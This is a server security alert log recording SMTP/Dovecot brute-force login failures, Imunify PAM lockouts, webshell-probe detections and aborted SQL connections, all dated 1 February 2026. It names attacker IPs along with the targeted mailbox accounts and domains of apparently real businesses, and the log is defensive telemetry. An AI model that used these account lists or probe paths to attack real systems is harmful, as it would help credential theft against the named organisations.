

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:10:01 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49859: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:10:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:10:17 dovecot_login authenticator failed for H=(7tpEsdOlGM) [158.94.208.215]:53794: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 06:10:13 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:34270: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:10:16 dovecot_login authenticator failed for H=(3ldScC9IpZ) [178.16.52.139]:62747: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:10:17 dovecot_login authenticator failed for H=(Vr842ey0) [178.16.54.22]:60875: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.154.41
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/contents/uploads/2022/04/product.php||SC:/home2/fkrcom/public_html/contents||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:10:01 dovecot_login authenticator failed for H=(py3npSr7F) [178.16.52.139]:53293: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:10:28 dovecot_login authenticator failed for H=(BYVPat3pn) [185.36.81.54]:56271: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:11:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:11:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:11:20 dovecot_login authenticator failed for H=(Ms6b0MgX) [178.16.52.139]:52522: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 06:11:34 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:45999: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 06:11:43 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:59858: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.61.114.143
country_id: 3585968
description:
2026-02-01 06:11:46 dovecot_plain authenticator failed for H=143.114.61.190.ufinet.com.sv (E1261D68V5UP6) [190.61.114.143]:61989: 535 Incorrect authentication data (set_id=azli@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:11:03 dovecot_login authenticator failed for H=(j4svKCIe5n) [158.94.208.175]:64375: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:11:05 dovecot_login authenticator failed for H=(mWfPqK8) [158.94.208.215]:65524: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-02-01 06:11:52 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:37608: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-02-01 06:11:10 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:42780: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 06:11:32 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:56025: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.69.76.148
country_id: 1814991
description:
2026-02-01 06:11:49 dovecot_login authenticator failed for H=([125.69.76.148]) [125.69.76.148]:52364: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:11:20 dovecot_login authenticator failed for H=(MeTucWMzJ) [185.36.81.54]:60182: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:11:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.149
country_id: 2635167
description:
2026-02-01  6:11:54 205282 [Warning] Aborted connection 205282 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.149' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:11:03 dovecot_login authenticator failed for H=(9IfYRYzlY) [178.16.54.22]:55588: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:11:24 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61756: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.92.202
country_id: 1269750
description:
2026-02-01 06:11:57 dovecot_login authenticator failed for H=([125.17.215.121]) [27.123.92.202]:52450: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:11:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:11:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:12:12 dovecot_login authenticator failed for H=(HFWD66Jhna) [178.16.54.22]:51288: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:12:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:12:19 dovecot_login authenticator failed for H=(Y0Uo27QSxp) [178.16.52.139]:53291: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:12:20 dovecot_login authenticator failed for H=(dWbiM1n) [158.94.208.175]:52795: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.48
country_id: 1880251
domain: www.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/print-2/images/contact.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-01 06:12:06 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:32856: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:12:17 dovecot_login authenticator failed for H=(gv0Hb6Wayo) [158.94.208.215]:55978: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.53
country_id: 1668284
description:
2026-02-01 06:12:57 dovecot_login authenticator failed for H=110-25-109-53.adsl.fetnet.net [110.25.109.53]:50341: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:12:22 dovecot_login authenticator failed for H=(zThSt2Ps) [178.16.52.139]:49403: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:12:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:12:13 dovecot_login authenticator failed for H=(KaO7TUH) [185.36.81.54]:56856: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:12:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.237.90
country_id: 1269750
description:
2026-02-01 06:13:05 dovecot_login authenticator failed for H=([182.95.26.141]) [125.23.237.90]:45258: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:13:05 dovecot_login authenticator failed for H=(xRtczT5DrL) [158.94.208.215]:56418: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:13:16 dovecot_login authenticator failed for H=(AgdpRV) [178.16.52.139]:64985: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:13:19 dovecot_login authenticator failed for H=(H0YFWigZh) [185.36.81.54]:58062: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:13:16 dovecot_login authenticator failed for H=(0lXHF5l4kV) [158.94.208.175]:64760: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 06:13:58 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:46878: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:13:21 dovecot_login authenticator failed for H=(e0GPEF) [178.16.54.22]:57792: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:14:14 dovecot_login authenticator failed for H=(eKZvNAL) [158.94.208.175]:50476: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:14:10 dovecot_login authenticator failed for H=(o95JjfM) [185.36.81.54]:63236: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:14:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-01 06:14:48 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:14:07 dovecot_login authenticator failed for H=(k7JsuDO1s) [178.16.54.22]:63552: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.36.22
country_id: 1835841
description:
2026-02-01 06:14:32 dovecot_login authenticator failed for H=([125.61.36.22]) [125.61.36.22]:58471: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:14:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:14:15 dovecot_login authenticator failed for H=(bEdeSR) [178.16.52.139]:54383: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:14:31 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.10.56.131
country_id: 1835841
description:
2026-02-01 06:14:49 dovecot_login authenticator failed for H=([59.10.56.129]) [59.10.56.131]:37838: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:14:17 dovecot_login authenticator failed for H=(oKW6vh) [158.94.208.215]:54783: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.161.152
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/news-detail-7.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:14:39 dovecot_login authenticator failed for H=(1zgCXyYcb) [178.16.52.139]:51494: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:15:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:15:03 dovecot_login authenticator failed for H=(678xUfcs) [158.94.208.215]:64733: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:15:07 dovecot_login authenticator failed for H=(6YTZUP) [178.16.52.139]:56514: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:15:11 dovecot_login authenticator failed for H=(feb8i7mbN7) [158.94.208.175]:54655: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-01 06:15:30 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:47466: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:15:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:15:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 06:15:19 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:41955: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:15:02 dovecot_login authenticator failed for H=(IBdiQeRUdH) [185.36.81.54]:56930: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:16:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:16:15 dovecot_login authenticator failed for H=(YGMR4W) [158.94.208.215]:62248: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:16:17 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55343: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:16:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:16:29 dovecot_login authenticator failed for H=(OEHWLCsV) [185.36.81.54]:50852: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:16:08 dovecot_login authenticator failed for H=(G3bOCdCVHq) [158.94.208.175]:58259: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.149
country_id: 2635167
description:
2026-02-01  6:16:13 205477 [Warning] Aborted connection 205477 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.149' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.194
country_id: 1269750
description:
2026-02-01 06:16:47 dovecot_login authenticator failed for H=(nsg-corporate-194.229.187.122.airtel.in) [122.187.229.194]:33980: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:16:09 dovecot_login authenticator failed for H=(QlxqOQJdd) [178.16.52.139]:50464: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:16:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.58
country_id: 1814991
description:
2026-02-01 06:16:09 dovecot_login authenticator failed for H=([111.61.176.58]) [111.61.176.58]:58886: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 06:17:12 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:58336: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-01 06:17:41 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:35536: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:17:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:17:03 dovecot_login authenticator failed for H=(VawUzPds) [158.94.208.215]:56474: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:17:27 dovecot_login authenticator failed for H=(2PkCzXcX) [185.36.81.54]:56401: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-02-01 06:17:45 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:25544: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:17:05 dovecot_login authenticator failed for H=(J41IvLHSBl) [158.94.208.175]:64459: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:17:11 dovecot_login authenticator failed for H=(aeFYMPn) [178.16.52.139]:55388: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:17:21 dovecot_login authenticator failed for H=(iQFboTA2) [178.16.52.139]:56918: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:17:23 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53934: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:17:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:17:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:18:02 dovecot_login authenticator failed for H=(Xu0QdC) [178.16.52.139]:56723: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:18:04 dovecot_login authenticator failed for H=(Kdg74QP9Hr) [158.94.208.175]:53810: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.85.104.2
country_id: 6252001
description:
2026-02-01 06:18:05 dovecot_plain authenticator failed for H=(bouts) [96.85.104.2]:57498: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:18:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63425: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:18:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.0.140
country_id: 2017370
description:
2026-02-01 06:19:01 dovecot_login authenticator failed for H=([31.173.0.140]) [31.173.0.140]:42434: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:18:15 dovecot_login authenticator failed for H=(g47NUi) [158.94.208.215]:55561: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:18:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:18:23 dovecot_login authenticator failed for H=(qkKfw1JHi) [185.36.81.54]:52021: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.124.174
country_id: 1269750
description:
2026-02-01 06:18:53 dovecot_login authenticator failed for H=([182.95.124.174]) [182.95.124.174]:32970: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:18:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:18:43 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:19:36 dovecot_login authenticator failed for H=(ghPqV3e6ZI) [178.16.52.139]:54693: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.45.35.54
country_id: 2589581
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/uncle/15/466/1588906 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:19:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:19:05 dovecot_login authenticator failed for H=(duFcM8uR) [178.16.52.139]:61823: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:19:08 dovecot_login authenticator failed for H=(8pU5Ym5qTF) [158.94.208.175]:59292: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:19:03 dovecot_login authenticator failed for H=(pMfY60dAf) [158.94.208.215]:59531: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:19:06 dovecot_login authenticator failed for H=(8jKPP9r) [185.36.81.54]:52193: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
